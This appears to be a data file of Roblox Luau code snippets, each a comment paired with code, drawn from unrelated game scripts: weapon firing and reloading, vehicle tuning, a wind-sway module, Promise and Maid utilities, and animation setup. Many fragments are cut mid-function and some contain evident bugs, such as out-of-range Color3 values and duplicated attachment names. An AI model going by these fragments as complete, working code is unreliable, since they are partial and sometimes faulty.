_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
end
|
--//Remote Functions\\-- |
fire.OnServerEvent:Connect(function(player, mouseHit)
local character = player.Character
local humanoid = character:FindFirstChild("Humanoid")
local weaponAccuracy = Vector3.new(math.random(-accuracy.Value * 2, accuracy.Value * 2), math.random(-accuracy.Value * 2, accuracy.Value * 2), math.random(-accuracy.Value * 2, accuracy.Value * 2))
if humanoid and humanoid ~= 0 then
local projectile = Instance.new("Part", workspace)
local trail = Instance.new("Trail", projectile)
trail.FaceCamera = true
trail.Lifetime = 0.3
trail.MinLength = 0.15
trail.LightEmission = 0.25
local attachment0 = Instance.new("Attachment", projectile)
attachment0.Position = Vector3.new(0.35, 0, 0)
attachment0.Name = "Attachment1"
local attachment1 = Instance.new("Attachment", projectile)
attachment1.Position = Vector3.new(-0.35, 0, 0)
attachment1.Name = "Attachment1"
trail.Attachment0 = attachment0
trail.Attachment1 = attachment1
projectile.Name = "Bullet"
projectile.BrickColor = BrickColor.new("Smoky gray")
projectile.Shape = "Ball"
projectile.Material = Enum.Material.Metal
projectile.TopSurface = 0
projectile.BottomSurface = 0
projectile.Size = Vector3.new(1, 1, 1)
projectile.Transparency = 1
projectile.CFrame = CFrame.new(muzzle.CFrame.p, mouseHit.p)
projectile.CanCollide = false
local transparencyPoints = {}
local startColor = Color3.new(255, 255, 0)
local endColor = Color3.new(213, 115, 61)
table.insert(transparencyPoints, NumberSequenceKeypoint.new(0, 1))
table.insert(transparencyPoints, NumberSequenceKeypoint.new(0.25, 0))
table.insert(transparencyPoints, NumberSequenceKeypoint.new(1, 1))
local determinedTransparency = NumberSequence.new(transparencyPoints)
local determinedColors = ColorSequence.new(startColor, endColor)
trail.Transparency = determinedTransparency
trail.Color = determinedColors
local bodyVelocity = Instance.new("BodyVelocity", projectile)
bodyVelocity.MaxForce = Vector3.new(9e9, 9e9, 9e9)
bodyVelocity.Velocity = (mouseHit.lookVector * velocity.Value) + weaponAccuracy
debris:AddItem(projectile, 20)
projectile.Touched:Connect(function(hit)
local eHumanoid = hit.Parent:FindFirstChild("Zombie") or hit.Parent.Parent:FindFirstChild("Zombie")
local damage = math.random(minDamage.Value, maxDamage.Value)
if not eHumanoid and not hit.Anchored and not hit:IsDescendantOf(character) then
projectile:Destroy()
elseif eHumanoid and eHumanoid ~= humanoid and eHumanoid.Health > 0 and hit ~= projectile then
if hit.Name == "Head" or hit:IsA("Hat") then
damage = damage * 10.5
end
local criticalPoint = maxDamage.Value
DamageAndTagHumanoid(player, eHumanoid, damage)
if showDamageText then
DynamicText(damage, criticalPoint, eHumanoid)
else
end
projectile:Destroy()
elseif hit.CanCollide == true and not hit:IsDescendantOf(player.Character) and hit.Anchored == true then
projectile:Destroy()
end
end)
handle.Fire:Play()
muzzleEffect.Visible = true
muzzleEffect.Rotation = math.random(-360, 360)
delay(0.1, function()
muzzleEffect.Visible = false
end)
end
end)
activateSpecial.OnServerEvent:Connect(function(player)
accuracy.Value, fireRate.Value = accuracy.Value / 2, fireRate.Value / 2
minDamage.Value, maxDamage.Value = minDamage.Value / 2, maxDamage.Value / 2
spawn(function()
local chargeSound = Instance.new("Sound", player.PlayerGui)
chargeSound.Name = "ChargeSound"
chargeSound.SoundId = "rbxassetid://163619849"
chargeSound:Play()
chargeSound.Ended:Connect(function() chargeSound:Destroy() end)
local sparkles = Instance.new("Sparkles", handle)
sparkles.SparkleColor = Color3.fromRGB(255, 236, 21)
local activatedGui = Instance.new("ScreenGui", player.PlayerGui)
activatedGui.Name = "SpecialActivated"
local textLabel = Instance.new("TextLabel", activatedGui)
textLabel.TextColor3 = Color3.fromRGB(0, 180, 30)
textLabel.Text = "Trigger Happy activated!"
textLabel.Font = Enum.Font.SourceSans
textLabel.TextScaled = true
textLabel.TextStrokeTransparency = 0
textLabel.Size = UDim2.new(0, 300, 0, 50)
textLabel.Position = UDim2.new(2.5, 0, 0.15, -10)
textLabel.BackgroundTransparency = 1
textLabel:TweenPosition(UDim2.new(0.5, -(textLabel.Size.X.Offset / 2), 0.1, -10), Enum.EasingDirection.Out, Enum.EasingStyle.Back, 1)
debris:AddItem(sparkles, specialDuration.Value)
debris:AddItem(chargeSound, 3)
wait(3)
TextEffects(textLabel, 200, Enum.EasingDirection.InOut, Enum.EasingStyle.Quint, 1)
end)
for i = specialDuration.Value, 0, -1 do
wait(1)
print("Special activated: "..i)
end
accuracy.Value, fireRate.Value = accuracy.Value * 5, fireRate.Value * 10
minDamage.Value, maxDamage.Value = minDamage.Value * 4, maxDamage.Value * 8
activateSpecial:FireClient(player)
end)
|
-- Time it takes to reload weapon |
local ReloadTime = 4 |
--[[Steering]] |
Tune.SteerInner = 44 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--vec should be a unit vector, and 0 < rayLength <= 1000 |
function RayCast(startPos, vec, rayLength)
local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
if hitObject and hitPos then
local distance = rayLength - (hitPos - startPos).magnitude
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
-- there is a chance here for potential infinite recursion
return RayCast(hitPos, vec, distance)
end
end
return hitObject, hitPos
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
local function CreateBullet(bulletPos)
local bullet = Instance.new('Part', Workspace)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = BrickColor.new("Black")
bullet.Shape = Enum.PartType.Block
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
local shell = Instance.new("Part")
shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0)
shell.Size = Vector3.new(0,0,0)
shell.BrickColor = BrickColor.new(226)
shell.Parent = game.Workspace
shell.CFrame = script.Parent.Handle.CFrame
shell.CanCollide = false
shell.Transparency = 0
shell.BottomSurface = 0
shell.TopSurface = 0
shell.Name = "Shell"
shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20))
shell.RotVelocity = Vector3.new(0,200,0)
DebrisService:AddItem(shell, 1)
local shellmesh = Instance.new("SpecialMesh")
shellmesh.Scale = Vector3.new(0,0,0)
shellmesh.Parent = shell
return bullet
end
local function Reload()
if not Reloading then
Reloading = true
-- Don't reload if you are already full or have no extra ammo
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
if RecoilTrack then
RecoilTrack:Stop()
end
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = true
end
end
if ReloadTrack then
ReloadTrack:Play()
end
script.Parent.Handle.Reload:Play()
wait(ReloadTime)
-- Only use as much ammo as you have
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
AmmoInClip = AmmoInClip + ammoToUse
SpareAmmo = SpareAmmo - ammoToUse
UpdateAmmo(AmmoInClip)
--WeaponGui.Reload.Visible = false
if ReloadTrack then
ReloadTrack:Stop()
end
end
Reloading = false
end
end
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
RecoilTrack:Play()
end
IsShooting = true
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
if Spread and not DecreasedAimLastShot then
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
UpdateCrosshair(Spread)
end
DecreasedAimLastShot = not DecreasedAimLastShot
if Handle:FindFirstChild('FireSound') then
Pitch.Pitch = 1
Handle.FireSound:Play()
Handle.Flash.Enabled = true
flare.MuzzleFlash.Enabled = true
--Handle.Smoke.Enabled=true --This is optional
end
if MyMouse then
local targetPoint = MyMouse.Hit.p
local shootDirection = (targetPoint - Barrel.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread) * shootDirection
local hitObject, bulletPos = RayCast(Barrel.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if hitObject then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
WeaponGui.Crosshair.Hit:Play()
--bullet.Transparency = 1
end
Spawn(UpdateTargetHit)
end
end
end
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
end
wait(FireRate)
end
Handle.Flash.Enabled = false
IsShooting = false
flare.MuzzleFlash.Enabled = false
--Handle.Smoke.Enabled=false --This is optional
if AmmoInClip == 0 then
Handle.Tick:Play()
--WeaponGui.Reload.Visible = true
Reload()
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
local TargetHits = 0
function UpdateTargetHit()
TargetHits = TargetHits + 1
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = true
end
wait(0.5)
TargetHits = TargetHits - 1
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = false
end
end
function UpdateCrosshair(value, mouse)
if WeaponGui then
local absoluteY = 650
WeaponGui.Crosshair:TweenSize(
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.33)
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = false
end
end
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
function OnEquipped(mouse)
Handle.EquipSound:Play()
Handle.EquipSound2:Play()
Handle.UnequipSound:Stop()
RecoilAnim = WaitForChild(Tool, 'Recoil')
ReloadAnim = WaitForChild(Tool, 'Reload')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
MyMouse = mouse
Tip = WaitForChild(Tool, 'DonateGui'):Clone()
if Tip and MyPlayer then
Tip.Parent = MyPlayer.PlayerGui
end
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if RecoilAnim then
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
end
if ReloadAnim then
ReloadTrack = MyHumanoid:LoadAnimation(ReloadAnim)
end
if MyMouse then
-- Disable mouse icon
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
MyMouse.Button1Down:connect(OnMouseDown)
MyMouse.Button1Up:connect(OnMouseUp)
MyMouse.KeyDown:connect(OnKeyDown)
end
end
|
--// K key, Directional |
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.Remotes.DirectionalEvent:FireServer(true)
end
end)
|
--[[START]] |
script.Parent:WaitForChild("Car")
script.Parent:WaitForChild("IsOn")
script.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Values")
script.Parent:WaitForChild("DriveMode")
|
--good flashing |
script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval3 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval3 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval3 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval4 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval4 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval4 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval5 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval5 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval5 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
mode1()
end
function mode2() |
----------------------------------------------------------------------------------------------------------------- |
local ObjectShakeAddedEvent = Instance.new("BindableEvent")
local ObjectShakeRemovedEvent = Instance.new("BindableEvent")
local ObjectShakeUpdatedEvent = Instance.new("BindableEvent")
local PausedEvent = Instance.new("BindableEvent")
local ResumedEvent = Instance.new("BindableEvent")
local WindShake = {
UpdateHz = 1 / 45,
ComputeHz = 1 / 30,
Radius = 120,
ObjectMetadata = {},
Octree = Octree.new(),
Handled = 0,
Active = 0,
LastUpdate = os.clock(),
ObjectShakeAdded = ObjectShakeAddedEvent.Event,
ObjectShakeRemoved = ObjectShakeRemovedEvent.Event,
ObjectShakeUpdated = ObjectShakeUpdatedEvent.Event,
Paused = PausedEvent.Event,
Resumed = ResumedEvent.Event,
}
export type WindShakeSettings = {
WindDirection: Vector3?,
WindSpeed: number?,
WindPower: number?,
}
function WindShake:Connect(funcName: string, event: RBXScriptSignal): RBXScriptConnection
local callback = self[funcName]
assert(typeof(callback) == "function", "Unknown function: " .. funcName)
return event:Connect(function(...)
return callback(self, ...)
end)
end
function WindShake:AddObjectShake(object: BasePart, settingsTable: WindShakeSettings?)
if typeof(object) ~= "Instance" then
return
end
if not object:IsA("BasePart") then
return
end
local metadata = self.ObjectMetadata
if metadata[object] then
return
else
self.Handled += 1
end
metadata[object] = {
Node = self.Octree:CreateNode(object.Position, object),
Settings = Settings.new(object, DEFAULT_SETTINGS),
Seed = math.random(1000) * 0.1,
Origin = object.CFrame,
}
if settingsTable then
self:UpdateObjectSettings(object, settingsTable)
end
ObjectShakeAddedEvent:Fire(object)
end
function WindShake:RemoveObjectShake(object: BasePart)
if typeof(object) ~= "Instance" then
return
end
local metadata = self.ObjectMetadata
local objMeta = metadata[object]
if objMeta then
self.Handled -= 1
metadata[object] = nil
objMeta.Settings:Destroy()
objMeta.Node:Destroy()
if object:IsA("BasePart") then
object.CFrame = objMeta.Origin
end
end
ObjectShakeRemovedEvent:Fire(object)
end
function WindShake:Update()
local now = os.clock()
local dt = now - self.LastUpdate
if dt < self.UpdateHz then
return
end
self.LastUpdate = now
debug.profilebegin("WindShake")
local camera = workspace.CurrentCamera
local cameraCF = camera and camera.CFrame
debug.profilebegin("Octree Search")
local updateObjects =
self.Octree:RadiusSearch(cameraCF.Position + (cameraCF.LookVector * (self.Radius * 0.95)), self.Radius)
debug.profileend()
local activeCount = #updateObjects
self.Active = activeCount
if activeCount < 1 then
return
end
local step = math.min(1, dt * 8)
local cfTable = table.create(activeCount)
local objectMetadata = self.ObjectMetadata
debug.profilebegin("Calc")
for i, object in ipairs(updateObjects) do
local objMeta = objectMetadata[object]
local lastComp = objMeta.LastCompute or 0
local origin = objMeta.Origin
local current = objMeta.CFrame or origin
if (now - lastComp) > self.ComputeHz then
local objSettings = objMeta.Settings
local seed = objMeta.Seed
local amp = objSettings.WindPower * 0.1
local freq = now * (objSettings.WindSpeed * 0.08)
local rotX = math.noise(freq, 0, seed) * amp
local rotY = math.noise(freq, 0, -seed) * amp
local rotZ = math.noise(freq, 0, seed + seed) * amp
local offset = object.PivotOffset
local worldpivot = origin * offset
objMeta.Target = (
worldpivot * CFrame.Angles(rotX, rotY, rotZ)
+ objSettings.WindDirection * ((0.5 + math.noise(freq, seed, seed)) * amp)
) * offset:Inverse()
objMeta.LastCompute = now
end
current = current:Lerp(objMeta.Target, step)
objMeta.CFrame = current
cfTable[i] = current
end
debug.profileend()
workspace:BulkMoveTo(updateObjects, cfTable, Enum.BulkMoveMode.FireCFrameChanged)
debug.profileend()
end
function WindShake:Pause()
if self.UpdateConnection then
self.UpdateConnection:Disconnect()
self.UpdateConnection = nil
end
self.Active = 0
self.Running = false
PausedEvent:Fire()
end
function WindShake:Resume()
if self.Running then
return
else
self.Running = true
end
-- Connect updater
self.UpdateConnection = self:Connect("Update", RunService.Heartbeat)
ResumedEvent:Fire()
end
function WindShake:Init()
if self.Initialized then
return
else
self.Initialized = true
end
-- Define attributes if they're undefined.
local power = script:GetAttribute("WindPower")
local speed = script:GetAttribute("WindSpeed")
local direction = script:GetAttribute("WindDirection")
if typeof(power) ~= "number" then
script:SetAttribute("WindPower", DEFAULT_SETTINGS.WindPower)
end
if typeof(speed) ~= "number" then
script:SetAttribute("WindSpeed", DEFAULT_SETTINGS.WindSpeed)
end
if typeof(direction) ~= "Vector3" then
script:SetAttribute("WindDirection", DEFAULT_SETTINGS.WindDirection)
end
-- Clear any old stuff.
self:Cleanup()
-- Wire up tag listeners.
local windShakeAdded = CollectionService:GetInstanceAddedSignal(COLLECTION_TAG)
self.AddedConnection = self:Connect("AddObjectShake", windShakeAdded)
local windShakeRemoved = CollectionService:GetInstanceRemovedSignal(COLLECTION_TAG)
self.RemovedConnection = self:Connect("RemoveObjectShake", windShakeRemoved)
for _, object in pairs(CollectionService:GetTagged(COLLECTION_TAG)) do
self:AddObjectShake(object)
end
-- Automatically start.
self:Resume()
end
function WindShake:Cleanup()
if not self.Initialized then
return
end
self:Pause()
if self.AddedConnection then
self.AddedConnection:Disconnect()
self.AddedConnection = nil
end
if self.RemovedConnection then
self.RemovedConnection:Disconnect()
self.RemovedConnection = nil
end
table.clear(self.ObjectMetadata)
self.Octree:ClearNodes()
self.Handled = 0
self.Active = 0
self.Initialized = false
end
function WindShake:UpdateObjectSettings(object: Instance, settingsTable: WindShakeSettings)
if typeof(object) ~= "Instance" then
return
end
if typeof(settingsTable) ~= "table" then
return
end
if not self.ObjectMetadata[object] and (object ~= script) then
return
end
for key, value in pairs(settingsTable) do
object:SetAttribute(key, value)
end
ObjectShakeUpdatedEvent:Fire(object)
end
function WindShake:UpdateAllObjectSettings(settingsTable: WindShakeSettings)
if typeof(settingsTable) ~= "table" then
return
end
for obj, objMeta in pairs(self.ObjectMetadata) do
for key, value in pairs(settingsTable) do
obj:SetAttribute(key, value)
end
ObjectShakeUpdatedEvent:Fire(obj)
end
end
function WindShake:SetDefaultSettings(settingsTable: WindShakeSettings)
self:UpdateObjectSettings(script, settingsTable)
end
return WindShake
|
-- print("Keyframe : ".. frameName) |
playToolAnimation(toolAnimName, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName) |
--[[**
ensures Roblox Region3int16 type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.Region3int16 = t.typeof("Region3int16")
|
-- Enumerators: |
local CollisionMode = {
None = 0;
Whitelist = 1;
Blacklist = 2;
Function = 3;
}
|
--////////////////////////////// Include
--////////////////////////////////////// |
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants"))
local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local Speaker = require(modulesFolder:WaitForChild("Speaker"))
local Util = require(modulesFolder:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
ChatLocalization = ChatLocalization or {}
if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
function ChatLocalization:FormatMessageToSend(key,default) return default end
end
|
--[[
Create a promise that represents the immediately rejected value.
]] |
function Promise.reject(...)
local length, values = pack(...)
return Promise._new(debug.traceback(nil, 2), function(_, reject)
reject(unpack(values, 1, length))
end)
end
|
-- humanoidAnimatePlayEmote.lua |
local Figure = script.Parent
local Torso = Figure:WaitForChild("Torso")
local RightShoulder = Torso:WaitForChild("Right Shoulder")
local LeftShoulder = Torso:WaitForChild("Left Shoulder")
local RightHip = Torso:WaitForChild("Right Hip")
local LeftHip = Torso:WaitForChild("Left Hip")
local Neck = Torso:WaitForChild("Neck")
local Humanoid = Figure:WaitForChild("Humanoid")
local pose = "Standing"
local EMOTE_TRANSITION_TIME = 0.1
local userAnimateScaleRunSuccess, userAnimateScaleRunValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserAnimateScaleRun") end)
local userAnimateScaleRun = userAnimateScaleRunSuccess and userAnimateScaleRunValue
local function getRigScale()
if userAnimateScaleRun then
return Figure:GetScale()
else
return 1
end
end
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=180435571", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=180435792", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=180426354", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=180436148", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=180436334", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=178130996", weight = 10 }
},
toolnone = {
{ id = "", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } |
--[=[
Initializes a new promise with the given function in a deferred wrapper.
@param func (resolve: (...) -> (), reject: (...) -> ()) -> ()?
@return Promise<T>
]=] |
function Promise.defer(func)
local self = Promise.new()
-- Just the function part of the resolve/reject protocol!
task.defer(func, self:_getResolveReject())
return self
end
|
--[=[
Gives a task to the maid for cleanup, but uses an incremented number as a key.
@param task MaidTask -- An item to clean
@return number -- taskId
]=] |
function Maid:GiveTask(task)
if not task then
error("Task cannot be false or nil", 2)
end
local taskId = #self._tasks+1
self[taskId] = task
if type(task) == "table" and (not task.Destroy) then
warn("[Maid.GiveTask] - Gave table task without .Destroy\n\n" .. debug.traceback())
end
return taskId
end
|
-----------------
--| Functions |--
----------------- |
local function MakeReloadRocket()
local reloadRocket = Instance.new('Part')
reloadRocket.Name = "Ammo"
reloadRocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
reloadRocket.Size = Vector3.new() -- As small as possible
local mesh = Instance.new('SpecialMesh', reloadRocket)
mesh.MeshId = ROCKET_MESH_ID
mesh.Scale = ROCKET_MESH_SCALE
mesh.TextureId = ToolHandle.Mesh.TextureId
return reloadRocket
end
local function OnEquipped()
MyModel = Tool.Parent
ReloadRocket = MakeReloadRocket()
end
local function OnChanged(property)
if property == 'Enabled' and Tool.Enabled == false then
-- Show the next rocket going into the launcher
StillEquipped = true
wait(ROCKET_SHOW_TIME)
if StillEquipped then
local leftArm = MyModel:FindFirstChild('Left Arm')
if leftArm then
local weld = ReloadRocket:FindFirstChild('Weld')
if not weld then
weld = Instance.new('Weld')
weld.Part0 = leftArm
weld.Part1 = ReloadRocket
weld.C1 = CFrame.new(Vector3.new(0, 1, 0))
weld.Parent = ReloadRocket
end
ReloadRocket.Parent = MyModel
end
wait(ROCKET_HIDE_TIME - ROCKET_SHOW_TIME)
if StillEquipped and ReloadRocket.Parent == MyModel then
ReloadRocket.Parent = nil
end
end
end
end
local function OnUnequipped()
StillEquipped = false
ReloadRocket:Destroy()
ReloadRocket = nil
end
|
-- This is a list of team names that players will not be able to switch to. |
local blockedteams = {
"Staff",
"Admins",
"Developers",
}
return blockedteams
|
-- xSIXx, Create an animatable joint when tool is equipped. |
local motorName = "Handle" -- Change this to the target Motor6D name you want in the Right Arm/RightHand.
local motor = nil
|
--[=[
Begins a Promise chain, calling a function and returning a Promise resolving with its return value. If the function errors, the returned Promise will be rejected with the error. You can safely yield within the Promise.try callback.
:::info
`Promise.try` is similar to [Promise.promisify](#promisify), except the callback is invoked immediately instead of returning a new function.
:::
```lua
Promise.try(function()
return math.random(1, 2) == 1 and "ok" or error("Oh an error!")
end)
:andThen(function(text)
print(text)
end)
:catch(function(err)
warn("Something went wrong")
end)
```
@param callback (...: T...) -> ...any
@param ... T... -- Additional arguments passed to `callback`
@return Promise
]=] |
function Promise.try(callback, ...)
return Promise._try(debug.traceback(nil, 2), callback, ...)
end
|
---------------------------------------------------------------------------- |
script.Parent.Humanoid.HealthChanged:Connect(function()
if script.Parent.Humanoid.Health <= 73 then
Instance.new("Decal", script.Parent["Left Arm"])
script.Parent["Left Arm"].Decal.Texture = "rbxassetid://408754747"
script.Parent["Left Arm"].Decal.Face = "Bottom"
end
end)
|
--!nocheck
-- ^ change to strict to crash studio c: | |
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") |
end
end
end
|
--------SIDE SQUARES-------- |
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
--- Octree implementation
-- @module OctreeRegionUtils |
local EPSILON = 1e-6
local SQRT_3_OVER_2 = math.sqrt(3) / 2
local SUB_REGION_POSITION_OFFSET = {
{0.25, 0.25, -0.25};
{-0.25, 0.25, -0.25};
{0.25, 0.25, 0.25};
{-0.25, 0.25, 0.25};
{0.25, -0.25, -0.25};
{-0.25, -0.25, -0.25};
{0.25, -0.25, 0.25};
{-0.25, -0.25, 0.25};
}
local OctreeRegionUtils = {}
|
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================ |
function GuiController:UpdateSpeed()
end -- GuiController:UpdateSpeed()
function GuiController:Start(s)
speeder = s
primary = speeder.PrimaryPart
engine = speeder.engine
-- Boost bar and button
BoostSetup(function(boost)
self.Boost = boost
end)
-- Control thumbstick:
ThumbstickSetup(gui:WaitForChild("ThumbstickLeft"), function(x, y)
self.Yaw = x * MOBILE_DAMP
self.Pitch = y * MOBILE_DAMP
end)
end -- GuiController:Start()
function GuiController:Stop()
end -- GuiController:Stop |
--- Iterate through all modules |
